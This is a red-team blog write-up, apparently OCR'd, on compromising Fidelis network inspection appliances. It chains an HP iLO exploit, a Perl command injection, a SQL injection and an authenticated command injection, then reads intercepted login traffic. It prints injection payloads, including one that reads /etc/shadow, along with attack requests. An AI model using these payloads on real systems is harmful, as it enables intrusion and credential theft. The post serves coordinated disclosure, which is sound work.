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This article is in no way affiliated, sponsored, or endorsed with/by Fidelis Cybersecurity. All graphics are being
displayed under fair use for the purposes of this article.

Who remembers that movie about 15 years ago called Eagle Eye? A supercomputer has access to massive
amounts of data, introduce Al, things go to crap. Reflecting back on that movie, | find myself more interested in
what a hacker could actually do with that kind of access rather than the Al bit. This post is about what | did
when | got that kind of access on a customer red team engagement.
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Being a network defender is hard. Constantly trying to balance usability, security, and privacy. Add too much
security and users complain they can’t get their job done. Not enough and you open yourself up to being
hacked by every script kiddie on the internet. How does user privacy fit in? Well as a network defender your first
grand idea to protect the network against adversaries might be to implement some form of network traffic
inspection for “malicious” activity. This might have worked 20 years ago, but now most network protocols at
least support some form of encryption to protect users’ data from prying eyes. If only there was a way to
decrypt it, inspect it, and then encrypt it back... Let’s call it break and inspect.

Figure 1b:TLS Inspection

The graphic above was pulled from an article from the NSA, warning about break and inspect and the risks
introduced with its usage (I'd be inclined to heed the warning since the NSA are likely experts on this particular
topic). The most obvious risk introduced by break-and-inspect is clearly the device(s) performing the operation.
Compromise of these devices would provide an attacker access to all unencrypted traffic traversing the
network.
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All of this lead up was meant to describe what | can only assume happened with one of our customers. After
years of assessments, | noticed one day that all outbound web traffic now had a custom CA certificate when
visiting websites from the customer network. This was a somewhat natural progression as we had been utilizing
domain fronting for some time to evade network detection for our C2 domains. In response, the network
defenders implemented break-and-inspect to identify traffic with conflicting Host headers. As a red teamer, my
almost immediate thought was, What if we could get access to the break-and-inspect device? Being able to sift
through all unencrypted web traffic on a large network would be a goldmine. Operation Eagle Eye began...

Enumeration

After no small amount of time, we identified what we believed to be the device(s) responsible for performing the
break-and-inspect operation on the network. We found the BigIP F5 device that was listed as the hostname on
the CA certificate and we found a Fidelis Network CommandPost and several HP iLO management web services
in the same subnet. For those that aren’t familiar, Fidelis Cybersecurity sells a network appliance suite that can
perform traffic inspection and modification. They also just so happen to be listed as an accredited product on
the NSA recommended National Information Assurance Partnership (NIAP) website so | assume its super-
secure-hackproof

https://www.securifera.com/blog/2021/06/24/operation-eagle-eye/ 3/20


https://fidelissecurity.com/products/network/
https://www.niap-ccevs.org/Product/index.cfm

6/24/2021

Operation Eagle Eye — Securifera

NIAP

National Information Assurance Partnership %) Comemon Crvera

NIAP Community

About Us Products Protection Profiles Resources FAG

NIAP Oversees Evaluations of Commercial IT Products for Use in National Security Systems Quest 1ons? >>

we're here to help.

MLAF == Product Complant List == PCL

Product Compliant List: One Match

The products listed below must be considered in the context of the envirenment of use, Including appropriate risk analysls and system accreditation requirements. Customers must
ensure that the products selected will provide the necessary security Tunctionality Tor thelr architecture,

Thi following products, evaluated and granted cerificates by NIAP or under CCRA partnering schames, Comply with the requirements of the MLAP program and where applicable, the requirerments of
this Federal Information Processing Standard (FIPS) Cryptographic validation program(s),  Products on the PCL are evaluated and accradited at licensed/approved evaluation facilities for
corformance io the Commaon Criteria for 1T Security Evaluation (150 Standard 15408). U.S, Customers (designated approving authorities, authorizing officials, integrators, eic,) may treat these
rrutually-recognized evaluation results AS Complying with the Committes an National Security Systema Policy (CHNSSP) 11, National Palicy Governing the Acguisitian of information Assurance (TA)
and JA-Enabiad information Technolagy Products - dated Jume 2013 (hitps:\fwwiw.cnss, gov/CHES S ssuancas/Policias, cfm),

MIAP has implemented the CCRA Management Committes Vision Staternent for the application of the CC and the CCRA and no longer evaluates against Evaluation Assurance Levels (EAL). This
sirengthens evaluations by focusing on technology specific security requirements. The products listed below are evaluated against a MIAP-approved Protection Profile, which encompasses the
sacurity requirements and test activities suitable across the technology with no EAL assigned — hence the conformance claim is "PP*.

Option Menu
Product WD Corformance Claim CETL Assurance Maintenanoe Date Scheme
IFidelia Cyberpesumity Ing, 111268 CGPP WD VEZE Laldos 2021.04,15 2023,04,15 E
Fidalis Matwork and Fidalis Decaption v8.3.3 Camman
Critaria —_—
Tasting
Labaratary

First order of business was to do some basic enumeration of each of the devices in this network segment. The
F5’s had been recently updated just after a recent RCE bug had been released so | moved on to the next
devices. The Fidelis CommandPost web application presented a CAS based login portal on the root URL as
seen below.
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Elevate

NETWORK

After some minimal research on CAS and what appeared to be a rather mature and widely used authentication
library, | decided to start brute forcing endpoints with dirsearch on the CommandPost web application. While
that was running | moved on to the HP iLOs to see what we had there.
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The first thing that jumped out to me about this particular iLO endpoint was that it was HP and the version
displayed was under 2.53. This is interesting because a heap-based BOF vulnerability (CVE-2017-12542) was
discovered a few years back that can be exploited to create a new privileged user.

Exploitation — HP iLO (CVE-2017-12542)

While my scanner was still enumerating endpoints on the CommandPost, | went ahead and fired up the iLO
exploit to confirm whether or not the target was actually exploitable. Sure enough, | was able to create a new
admin user and login.

https://www.securifera.com/blog/2021/06/24/operation-eagle-eye/ 6/20


https://www.synacktiv.com/en/publications/rce-vulnerability-in-hp-ilo.html
https://www.exploit-db.com/exploits/44005

6/24/2021 Operation Eagle Eye — Securifera

| m—

Hewlett Packard iLO 4
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System ROM Date 12272015
Backup System ROM 12272015
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' License Type ILO Advanced
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We now have privileged access to an iLO web management portal of some unknown web server. Outside of
getting some server statistics and being able to turn the server on and off, what can we actually do that’s useful
from an attacker’s perspective? Well for one we can utilize the remote console feature. HP iLOs actually have
two ways to do this, one via Java web start from the web interface and one over SSH (which shares the
credentials for the web interface).
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Loading up the remote console via Java for this iLO reveals that this server is actually a Fidelis Direct Sensor
appliance. Access to the remote console in itself is not super useful since you still have to have credentials to
login to the server. However, when you bring up the Java web start remote console you’ll notice a menu that
says “Virtual Drives”. What this menu allows you to do is to remotely mount a ISO of your choosing.

Power Switch | Virtual Drihre5| Keyboard Help

Id e He

[0 = Image File Removable Media
[0 % URL Removable Media
I = Image File CD/DVD-ROM
[ & URL CDVDVD-ROM

Create Disk Image

With the ability to mount a custom ISO remotely, this introduces a possible avenue to gain code execution. If the
target server does not have a BIOS password and doesn’t utilize full disk encryption, we should be able to boot
to an ISO we supply remotely and gain access to the server’s file system. This technique definitely isn’t subtle
as we have to turn off the server but maybe the system owner won'’t notice if the outage is brief

If you are reading this there’s a good chance you’ll be attempting to pull this off through some sort of proxy/C2
comms mid-operation rather than physically sitting at a system on the same network. This makes the choice of
ISO critical since network bandwidth is limited. A live CD image that is as small as possible is ideal. | originally
tried a 30MB TinyCore linux but eventually landed on the 300 MB Puppy Linux since it comes with a lot more

features out-of-the-box. Once the OS loaded up | mounted the filesystem and confirmed access to critical files.
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iLO Integrated Remote Console - Server:

Power Switch Virtual Drives Keyboard Help

kAol |

E D /mnt/sda3jetc

root# cat shadow

E root:

it bin:*:15980:0:99999:7:::
W daemon:*:15980:0:99999:7:::

adm:*:15980:0:99999:7:::

lp:*:15980:0:99999:7:::
o]

sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
halt:*:15980:0:99999:7:::
mail:*:15980:0:99999:7:::
uucp:*:15980:0:99999:7: ::
operator:*:15980:0:99999:7:::
nobody:*:15980:0:99999:7:::
dbus:!!1:16982::::::
vcsa:!1:16982::::::
haldaemon:!!:16982::::::
saslauth:!!:16982::::::

ntp:!1!: i
sshd:!11:16982::::::
dhcpd:!11:16982::::::
Sl tcpdump:ll:16982::::::
fidelis:

root# _

- profile.rpmnew - protocols

W rc K] rc.local

[K] re.sysinit s readahead.conf

g redhat-release s resolv.conf

; :
; o . L ipplets!
s rsyslog.conf rwtab
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- screenrc & Securetty
- services - sestatus.conf

D!mnt!ﬁdas .‘;‘ Welcome @j‘mntfsda]v‘hletwcrk :@fmntfsdaf&ﬁ -:

Video:1024x768 SR JOO®

Since the device had SSH enabled, | decided the easiest mechanism for compromise would be to simply add a
SSH public key to the root user’s authorized key file. The “sshd_config” also needed to be updated to allow root
login and enable public key authentication.

Exploitation — Unauthenticated Remote Command Injection (CVE-2021-35047)

After gaining initial access to the Fidelis Direct sensor appliance via SSH, | began poking around at the services
hosted on the device and investigating what other systems it was communicating with. One of the first things |
noticed was lots of connections back to the Fidelis CommandPost appliance on port 5556 from a rconfigc
process. | also noticed a rconfigd process listening on the sensor, my assumption was this was some kind of
peer-to-peer client/server setup.

Analyzing the rconfigc/rconfigd binaries revealed they were a custom remote script execution framework. The
framework consisted of a simple TLS-based client/server application backed mostly by Perl scripts at varying
privilege levels, utilizing a hard-coded authentication string. | reviewed a couple of these scripts and came
across the following code snippet.
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# user name who started this operation
die "must specify usex™ if (Sargc < 2);
my Suser = SLARGV[1]:

sub read cof remote sServer

{

my Sremote server = ~SCFC -f '"Sconfig file!

If you haven’t spotted the bug here, those back ticks in Perl mean to execute the command in the background.
Since there are no checks sanitizing the incoming input for the user variable, additional commands can be
executed by simply adding a single quote and a semicolon. It appears another perk to this particular command
is that it is being run as root so we have automatic privilege escalation. | decided to test this remotely on the

Fidelis CommandPost to confirm it actually worked.

11/20

https://www.securifera.com/blog/2021/06/24/operation-eagle-eye/



6/24/2021 Operation Eagle Eye — Securifera

~]# /FSS/bin/rconfigec -s -g syslog_config -- r "fidelis' ;cat /etc/shadow;'"

syslog_remote_server = udp,
root:!
bin:*:15980:0:99999:7:::
daemon:%:15080:0:99909:7:::
adm:*:15980:0:99999:7:::
lp:#*:15980:@:99999:7:::
Sync:*:1508@:0:99999:7:::
shutdown:#*:15080:0:99999:7:::
halt:#:15980:0:99999:7:::
mail:*:1598@:0:99999:7:::
Uucp:*:1598@:0:99999:7:::
pperator:#*:15080:0:99999:7:::
nobody:%:159080:0:99999:7:::
dbus:!!:16625

tcpdump:!!:16625
mysql:!!:16625
apache:!!:16625
tomcat:!!:16625
fidelis:

postgres:!!:18019
syslog_type = syslog-ng
syslog_status = running

Exploitation — Unauthenticated Remote SQL injection (CVE-2021-35048)
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Circling back around to the Fidelis CommandPost web application, my dirsearch brute forcing had revealed
some interested endpoints worth investigating. While the majority required authentication, | found two that
accepted XML that did not. After trying several different payloads, | managed to get a SQL error returned in the
output from one of the requests.

Send Cancel < | > | Target: https:f_ gﬁ? ®

Request Response
J Raw T Params T Headers T Hex ] J Raw T Headers T Hex T Render ]
1 POST Sfaudit.ocgi HTTE/1.1 'Y 1 |[HTTF/1.1 400 ERROR 'Y
2 Host: I 2 |Date: Thu, 04 Feb 2021 20:04:42 GMT r
Uzser-Agent: Mozilla/5.0 (X11; Linux x36_64; rv:78.0} Gecko/ /20100101 Server: Apache
Firefox/78.0 X-Frame-Jptions: SAMEJRIGIN
coeptl: X-Content-Type-Oplions: nosniff
text/himl,application/®xhtml+xml,application/xml;g=0.8,image/webp,*/*;ig= X-XE55-Protection: 1; mode=block
0.3 T Wary: Accept-Encoding,User-Agent
ccept -Language: en-US,en;g=0.5 8 Content-Length: 310
Accepl-Encoding: gzip, deflate | Connecticn: close
7 Connection: clo=ze 1 Content-Type: texil/plain; charszet=utf-8
8 Upgrade-Insecure-Reguestz: 1
| Content-Type: application/x-www-form-urlencoded 12 MyE3QL guery execution error: You have an error in your SQL =syntax;
Content-Length: 200 check the manual that corresponds to your MyBQL server wverzion for
the right syntax to use near '' '"* at line 2
2 fzz_remotever:9.2.4 13 Juery:
=?xml werzion="1.0" encoding="IS50-8359-1"7= 1 SELECT FEE_GET_IP(zen_ip} a=z =en_ip, =en_tok, =zen_id FROM
caudit>«<version string="1.0"/=<type string="senzorhealth"/>»<action fezadmd.zenzors
string="test"/><actor string="guy"/>«<desc string="stuffl"/><timestamp 15 |WHERE gen_name = '_"
string="1612465703"/><sensor 5t1‘ir.-;="_'"_-"---:effect 1
gtring="stuff"/>< audit>

Exploitation — Insecure Credential Storage (CVE-2021-35050)

Using the SQL injection vulnerability identified above, | proceeded to dump the CommandPost database. My
goal was to find a way to authenticate to the web application. What | found was a table that stored entries
referred to as UIDs. These hex encoded strings turned out to be a product of a reversible encryption mechanism
over a string created by concatenating a username and password. Decrypting this value would return
credentials that could then be used to login to the Fidelis web application.
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Exploitation — Authenticated Remote Command Injection (CVE-2021-35049)

With decrypted root credentials from the database, | authenticated to the web application and began searching
for new vulnerabilities in the expanded scope. After a little bit of fuzzing, and help from my previous access, |
identified a command injection vulnerability that could be triggered from the web application.

Request

J Raw T Params T Headers T Hex ]

Response

J Raw T Headers T Hex T Render ]

1 GET fa.cgi?topic=tesi_comm&params=1%22;ifconfighl0l®le®la2®lOonll

HTTP/1.1
Uger-Agent: Mozilla/5.0 (X11; Linux x86_64d; rv:73.0}
Firefox/78.0

4 Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,* /*;g=

0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
7 Connection: close
¢ referer: I
! Cookie: JEESEIONID=EEIEESEITEDS4C41A34DE2142AFTI10F
Upgrade-Inzsecure-Reguests: 1

Chaining this vulnerability with each of the previous bugs | was able to create an exploit that could execute root

Gecko/20100101

1 HTTF/1.1 200 OK
Date: Tue, 09 Feb 2021 13:21:51 GMT
Serwver: Apache
Cache-Control: no-cache
Fragma: no-cache
X-Frame-Optione: SAMEJORIGIN
X-Content-Type-Options: nosniff
4 X-X88-Protection: 1; mode=block
I Cache-Control: max-age=0
Expires: Tue, 09 Feb 2021 13:21:51 GMT
1 Vary: Acceplt-Encoding,User-Agent
Content-Length: 31438
Connection: cloze
Content-Type: text/plain; charset=utf-3§
Export Error: ethi Link encap:Ethernet HWaddr _
inet addr:
inetd addr: fedl::42f2:e0ff:fefl:eT72/64 Scope:Link
UF BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
EX packet=z:810083449 errors:0 dropped:} overruns:0 frame:d
TYX packet=z:525255457 errore:0 dropped: 0 overruns:0 carrier:0
colligions: 0 txgueuelen:1000
EX bytes:800853133100 (820.4 GiB
Memory:bo5380000-beS09ffEE

1a Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inets addr: ::1/123 Scope:Host
UF LOOPEACE RUNNING MTU:585536 Metric:1
E¥ packet=z:2662500265 errorg:0 dropped: 0 overruns:0 frame:0
TX packet=z:2662500265 errors:0 dropped: 0 overruns:0 carrier:0
colligions: 0 txgueuelen:d

EX bytez:424834057T074 (305.6 GiB}) TX bytes:424834057074 (305

level commands across any managed Fidelis device from an unauthenticated CommandPost web session.

TX byltes:447610171722 (416.

Magk:255.255.255.128

.6 GiB}
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The DATA

So here we are, root level access to a suite of tools that captures network traffic across an enterprise and
makes decisions based on it. It was now time to switch gears and begin investigating what functionality these
devices provided and how it could be abused by an attacker (post-compromise risk assessment). After
navigating through the CommandPost web application endpoints and performing some minimal system
enumeration on the devices, | felt like | had a handle on the systems work together. There are 3 device types,
CommandPost, Sensors, & Collectors. The Sensors collect, inspect, and modify traffic. The Collectors store the
data, and the CommandPost provides the web interface for managing the devices.

Given the role of each device, | think the most interesting target to an attacker would have to be a Sensor. If a
Sensor can intercept (and possibly modify) traffic in transit, an attacker could leverage it to take control of the
network. To confirm this theory, | logged in to a Sensor and began searching for the software and services
needed to do this. | started by trying to identify the network interface(s) that the data would be traversing. To my
surprise, the only interface that showed as being “up” was the IP address | logged in to. Time to RTFM.

1 a .
) o () (M) (vmg®)  o-idelis

CyDersecurty
/[~

F i

iLO ( Admin F{r:;:l;t Direct / Internal 5000
DL360, 400 Series
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Monitor A and Monitor-B Networks

Optional ports to connect the Sensor appliance to the monitored networks "A" and "B" through
network switch mirrored-ports or taps. One additional port for each monitored network.

Appliance Switch Port Type

All Sensors 8P8C "RJ45" (copper)

Eth4/eth5/ethé/eth7 Networks

Most environments use the ethd/eth5/eth6/eth7 ports (instead of Mon-A and Mon-B) because these
ports offer support for higher network throughput and/or support in-line session blocking and
prevention / policy enforcement.

For in-line prevention, the ports are organized into two pairs (eth4/eth5 and eth6/eth7). Each pair
can be connected to one network segment. You will need two switch ports for monitoring each in-line
segment. Connect two interfaces in one pair to the same monitored network to allow network data to
flow through the device.

In the out-of-band configuration, connect the Sensor appliance to the eth4/eth5/eth6/eth7 through
network switch mirrored-ports or taps. One additional port for each monitored network.

Appliance Switch Port Type
1GbE Sensors 8P8C "RJ45" (copper) 4
2.5-, 5-, and 10-Gb Sensors LC Connector
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A picture is worth a 1000 words. Based on the figures from the manual shown above, my guess is that the traffic
is likely traversing one of the higher numbered interfaces. Now | just have to figure out why they aren’t visible to
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the root user. After searching through the logs | find the following clue.
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41:
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Hics (2): ethd4:ethd

vxlan decode: 0, vxlan cfg=0

Moving all unboond Iffs back to stack
[ethd]: PCI-attached: 1

iz _intf dpdk compatible: if name:ethd, modnle name:ixgbe, pci addr:0000:05:00.0

[eth5] : PCI-attached: 1

iz intf dpdk compatible: if name:eth3, modunle name:ixgbe, pci addr:0000:05:00.1

faildrop nics:none
forcebypass nics:none

interface dwd: eth4 (0000:05:00.081500) ;eths5(0000:05:00.121500)

clearing interface dwn: (nmll)
clearing interface dwx: (noll)

Moving all unbound Iffs back to stack
Silicom card is present

bpctl mod is present

bypass init:ethd4d 0 5:0.0 is silicom:1
bypass init:ethd4 0 5:0.0 file desc:3
bypass init:eth5 0 5:0.1 is =silicom:0
ethd: forcebypass=0, faildrop=0
gilicom bypass init set 1

eth5: forcebypass=0, faildrop=0
O:ethd,dpdk bind=1

Before bind, info: Interface ethd4 PCI: 0000:05:00.0 Drv:

Snccesfully bound ethd interface to DEDE
1:ethi,dpdk bind=1

Before bind, info: Interface ethd PCI: 0000:05:00.1 Drv:

Snccesfully bound ethd interface to DEDE

ixgbe MTU:

ixgbe MT:

Interface O:ethd4 ixgbe 0000:05:00.0 dw_type=3 mtu=1500 txglen=0
Interface l:eth5 ixgbe 0000:05:00.1 dw_type=3 mtu=1500 txglen=0

original nsing "/F55/1ib/dwx.s0" for "eth4:ethi"

nsing "/FS55/1lib/dwd.so" for "ethd (0000:05:00.0@1500) ;eth5(0000:05:00.181500)"

calling init"ethd (0000:05:00.0@1500) ;eth5 (0000:05:00.1@1500)"

https://www.securifera.com/blog/2021/06/24/operation-eagle-eye/
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It appears a custom driver is being loaded to manage the interfaces responsible for the network traffic
monitoring. Since the base OS is CentOS, it must be mounting them in some kind of security container that is
restricting access to the devices which is why | can’t see it. After digging into the driver and some of the
processes associated with it, | found that the software uses libpcap and a ring buffer in file-backed memory to
intercept network traffic to be inspected/modified. This means to access all of the traffic flowing through the
device all we have to do is read the files in the ring buffer and parse the raw network packets. Running the script
for just a short time confirms our theory. We quickly notice the usual authentication flows for major websites
like Microsoft 0365, Gmail, and even stock trading platforms.
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src_1o: | -so_t0: 40 101.12.82. SRC_PORT: 50110. DST_PORT: 443

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/mapi-http
Accept: application/mapi-http
Cookie:

User-Agent: Microsoft Office/16.0 Microsoft Outlock 16.0.4954;
X-MS-CookieUri-Requested: t

X-FeatureVersion: 1
Client-Reguest—Id:
X-ClientApplication:
X-ClientInfo:
X-User-Identity:
X-RequestId: {l147BZDCZ-EB4F-4680-BOBZ-536995AEFD0O0}: 9
X-RequestType: Execute

Content-Length: €3

Host: outlook.office365.com

Ruthorization: Basic [

(Windows NT 10.0;

{E6D93A1TF-F9T7F-419D-A78D-730980F2725F}
outlook/16.0.5095.1000

POST /mapi/emsmdb/?Mailbox1d= G, =T To/ 1.1

Pro)

src_1P: I DT Ir: 52.55.207.63. SRC_PORT: 53502. DST_PORT: 443

POST /oauth2/token/ HITP/1.1
Host: api.robinhood.com
User—-Agent: Mozilla/5.0
Firefox/78.0
Accept: */*
Accept-Language:
Accept-Encoding: gzip, deflate, br
Referer: https://robinhood.com
Content-Type: application/json
¥-Robinhood-API-Versicn: 1.431.4
Content-Length: 237

(Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101

en-US,en;g=0.5

Origin: https://robinhood.com
DNT: 1
Connection: keep-alive

("grant_type":"password”, "scope":"internal”, "client_id" : " NN

I "=xpires_in":86400, "device_token":" ", "usern
ame” : " (N . "2 < 5o " )

src_te: || NBBBB sz _xc: 172.217.12.237. SRC_PORT: 63879. DST_DORT: 443

POST /signin/v2/challenge/password/empty HTTP/1.1
Host: accounts.google.com

src_ze: | ost_zc: 195.200.171.186. SRC_PORT: 52148. DST_PORT: 443

PosST /vl/oauth2/token?apikey={lIIIIGGEGEGEGEGEGEGEGEEN 1rr/1.1

Host: api.tdameritrade.com

[User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:78.0) Gecko/20100101
Firefox/78.0

Boccept: */*

PBoccept-Language: en-US,en;g=0.5

P.ccept-Encoding: gzip, deflate, br

Feferer: https://trade.thinkorswim.com/?s o1=PLTR
Content-Type: application/xz-www-form-urlencoded
origin: https://trade.thinkorswim.com
Content-Length: 1058

ONT: 1

Connection: keep-alive

c1ient_id:_&grant_type:[efreSh_token&[efresh_token:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; Gecko/20100101
Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/z-www-form-urlencoded

Content-Length: 148

x€4; rv:78.0)

Origin: https://accounts.google.com

DNT: 1

Connection: keep-alive

Referer:
https://accounts.google.com/signin/v2/challenge/pwd?continue=https$3A%2F%2Fmail.google.co

my2Fmail$2Feservice=mailesacu=lerip=leflowName=GlifWebSigninsflowEntry=Servicelogin&cid=1l

snavigationDirection=Fforwards T |EE—_|E—

PSPlaGg
Cookie:

Upgrade-Insecure-Reguests: 1

identifier:_&identifierlnput:_continue:https $3A%2F
$2Fmail.google.com%2Fmail$2Fepassword=|EEEEEEE:c==sct=

Given the impact of our discovery and what was possible post compromise on these devices, we wrapped up
our assessment and immediately reached out the customer and the vendor to began the disclosure process.

Vendor Disclosure & Patch

https://www.securifera.com/blog/2021/06/24/operation-eagle-eye/
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We are happy to report that the disclosure process with the vendor went smoothly and they worked with us to
get the issues fixed and patched in a reasonable time frame. Given the severity of these findings we strongly
encourage anyone that has Fidelis Network & Deception appliances update to the latest version immediately.
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